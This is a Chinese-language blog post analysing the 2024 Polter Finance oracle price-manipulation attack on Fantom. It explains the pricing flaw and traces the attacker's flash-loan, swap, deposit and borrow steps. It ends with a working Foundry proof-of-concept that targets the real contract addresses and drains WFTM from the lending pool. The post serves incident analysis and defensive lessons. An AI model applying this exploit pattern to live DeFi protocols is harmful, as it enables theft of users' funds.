{"author":{"address":null,"user":"https://learnblockchain.cn/people/21890"},"content":{"body":"## 基本信息\r\n2024.11.17 Polter Finance遭受预言机价格操纵攻击，损失约12Million 美金。我对此攻击事件进行了梳理，分析了代码漏洞，文章结尾附上自己写的简易PoC。\r\n攻击交易：https://app.blocksec.com/explorer/tx/fantom/0x5118df23e81603a64c7676dd6b6e4f76a57e4267e67507d34b0b26dd9ee10eac?line=40\r\ntwitter：https://x.com/TenArmorAlert/status/1858045212519735481\r\n## 代码漏洞分析\r\n本次攻击的漏洞是预言机价格操纵，黑客对Boo Token的价格进行了操纵。\r\n我们先捞取下aave oracle上，Boo Token的价格：\r\n- 攻击发生前，BooToken在Aave Oracle上的价格：1189640730000000000\r\n- 攻击发生中，BooToken在Aave Oracle上的价格：1373782984830617596185131540000000000\r\n\r\n经过价格操纵攻击，BooToken价格上涨了约1,000,000,000,000,000,000倍。\r\n**下面我们深入代码看一下漏洞根因**：\r\nPolter Finance使用的Aave Oracle来查询Boo Token价格。\r\nAave Oracle使用两个池子进行价格计算：chainlink0和chainlink1\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/12/qayvkiAh6754472c6a34b.png)\r\n中间函数层层调用忽略不讲，我们看到最后计算价格时的逻辑：\r\n这个最终价格是price是乘以一个系数，系数与池子里面两种币的余额相关。币的数量越少，价格越贵。\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/12/VHxCLrqJ67544753c6cfc.png)\r\n所以理论上，只要把池子里Boo Token的量降到最低，这个系数会接近无穷大，Boo token价格就非常高。如果此时用Boo token作为质押，借出其他币，就能获得比平时更多的其他币种。例如平常质押一个Boo token，可以借出一个wFTM，在攻击当下，可以借出100个wFTM。这就是本次攻击的基本原理。\r\n## 攻击步骤梳理\r\n上文说到Aave oracle查询boo token用到了两个池子的数据：\r\n- 一个是 BOO/WFTM Contract (0xed23be0cc3912808ec9863141b96a9748bc4bd89)，\r\n- 一个是Spooky LP (0xec7178f4c41f346b2721907f5cf7628e388a7a58). \r\n\r\n第一个池子提供闪电贷服务，可以利用闪电贷把池子里的boo token都拿出来。\r\n第二个池子提供swap服务，可以通过swap把Boo Token都拿出来。\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/12/uvfJ2UZq67544769f2d97.png)\r\n第2行：黑客向第一个池子进行闪电贷，提走了大部分Boo Token.\r\n第6行：黑客执行闪电贷回调逻辑。\r\n第8行：在回调逻辑中，黑客从第二个池子里swap出大部分的Boo Token。\r\n\r\n下图是Swap的具体执行步骤：\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/12/DzY9BzMV67544779db908.png)\r\n第10行：触发swap的回调，这样就进入了黑客真正的攻击逻辑。\r\n第13行：在swap回调函数种（也就是攻击合约的uniswapV2Call方法中），黑客首先把闪电贷得到的+swap得到的所有Boo Token都质押（deposit）到被害合约Polter Finance中。这样后续就能从里面borrow其他币种。\r\n第35行：黑客获取Polter Finance池子中所有的币种，除了Boo Token，还有其他8个币种。黑客后续对8种token都通过borrow的方式把token借出来。本文只举例一个币种WFTM。其他币种同理，不做赘述。\r\n第40行：黑客开始borrow WFTM。\r\n最后我们看一下在borrow函数中到底发生了什么：\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/12/zEKs2mnO67544786c62ed.png)\r\n第43行：借贷前需要获取Boo token价格，这里是读取了Aave Oracle的价格。\r\n第59行和第72行：这两行分别从上文提到的两个池子里读取价格，但是因为在前面的攻击步骤中，Boo token量已经大量减少，导致价格上升，所以这两个池子返回的价格都高的离谱，所以通过质押（deposit，发生在第13行）的Boo Token，可以把池子里所有的WFTM都借出来。\r\n以上就是攻击的重点步骤。当然还有很多细节，比如重复攻击8次获得所有Token，偿还swap的费用，偿还闪电贷等等，因为比较简单，不一一描述。\r\n## PoC\r\n黑客在攻击时，为了利益最大化，将polter Finance池子里8个币种都掏空了（wFTM， MIM等）。\r\n但是我的PoC只对WFTM币种进行攻击，验证了攻击的可行性，简化攻击步骤。\r\n最终PoC获利960666个Boo Token，根据当时的价格，约1.14M美金。\r\n\r\n![image.png](https://img.learnblockchain.cn/attachments/2024/12/jLE3eQ7U67544797d4c02.png)\r\n\r\n\r\n```solidity\r\n// SPDX-License-Identifier: UNLICENSED\r\npragma solidity ^0.8.13;\r\nimport  \"forge-std/Test.sol\";\r\nimport \"./interface.fantom.sol\";\r\ncontract polterfinance is Test {\r\n    address aaceOracle = 0x6808B5cE79d44E89883c5393b487c4296aBb69fe;\r\n    address BooToken = 0x841FAD6EAe12c286d1Fd18d1d525DFfA75C7EFFE;\r\n    address BooWFTM= 0xEd23Be0cc3912808eC9863141b96A9748bc4bd89;\r\n    address payable WFT= payable(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);\r\n    address SpookyLP= 0xEc7178F4C41f346b2721907F5cF7628E388A7a58;\r\n    address polterFinanceProxy=0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5;\r\n    address pFTM = 0xbbce4b1513D4285bD7a59C2c63835535151c8e7c;\r\n    address payable spookySwapRouter= payable(0xF491e7B69E4244ad4002BC14e878a34207E38c29);\r\n\r\n    function setUp() external {\r\n        vm.createSelectFork(\"https://rpc.ankr.com/fantom\", 97508839 - 1);\r\n        deal(address(this), 1e18);\r\n    }\r\n    function testAttack() external{\r\n\r\n        uint256 booWFTMBalance = SpookyToken(BooToken).balanceOf(BooWFTM);\r\n        console.log(\"before Attacking, I have Boo token: \",SpookyToken(BooToken).balanceOf(address(this))/10**18);\r\n        IBooWTFM(BooWFTM).flash(address(this), 0, booWFTMBalance-1000000, \"\");\r\n        console.log(\"before Attacking, I have Boo token: \",SpookyToken(BooToken).balanceOf(address(this))/10**18);\r\n    }\r\n    function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\r\n        uint256 spLPBalance=SpookyToken(BooToken).balanceOf(SpookyLP);\r\n         //token0 is wFTM 0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83\r\n         //token1 is booToken 0x841FAD6EAe12c286d1Fd18d1d525DFfA75C7EFFE\r\n        UniswapV2Pair(SpookyLP).swap(0, spLPBalance-1000000, address(this), \"1\");       \r\n        uint256 wftBalance=IERC20(WFT).balanceOf(address(this));\r\n        IERC20(WFT).approve(spookySwapRouter,wftBalance);\r\n        address[] memory tokens=new address[](2);\r\n       tokens[0]=WFT;\r\n       tokens[1]=BooToken;\r\n        UniswapV2Router02(spookySwapRouter).swapExactTokensForTokensSupportingFeeOnTransferTokens(wftBalance,0,tokens,address(this),block.timestamp+1000);\r\n        IERC20(BooToken).transfer(BooWFTM,269849355201174742984915);//这个数值是闪电贷中的fee1+手续费，我直接抄的黑客算好的值，因为不知道怎么算手续费。\r\n    }\r\n    function uniswapV2Call(address sender,uint amount0, uint amount1, bytes calldata data) external{\r\n        SpookyToken(BooToken).approve(polterFinanceProxy, 1000000000000000000);\r\n        LendingPoolProxy(polterFinanceProxy).deposit(BooToken,1000000000000000000,address(this),0);\r\n        uint256 pFTMBalance_WFT=IERC20(WFT).balanceOf(pFTM);\r\n        LendingPoolProxy(polterFinanceProxy).borrow(WFT,pFTMBalance_WFT,2,0,address(this));\r\n        IERC20(BooToken).transfer(SpookyLP,1157102317495543848696788);//这个数应该是swap时Amount1的数量+0.003的手续费。我直接照抄黑客的数值。\r\n    }\r\n}\r\n```\r\n\r\n\r\n## 总结\r\n1. 任何预言机只要使用“池子里某一币种的余额”作为定价因素之一，就容易有漏洞。或者是池子中，两个币种的比率作为定价因素，这都是非常危险的。因为剩余量或者比率都容易通过借贷，置换的方式被操纵。\r\n2. 预言机即使使用了多池子取价也是不保险的，这个例子里面，aave使用了两个池子作为价格获取的出处，依旧都被操纵了。","title":"PolterFinance协议攻击分析---预言机价格操纵"},"history":null,"timestamp":1733577246,"version":1}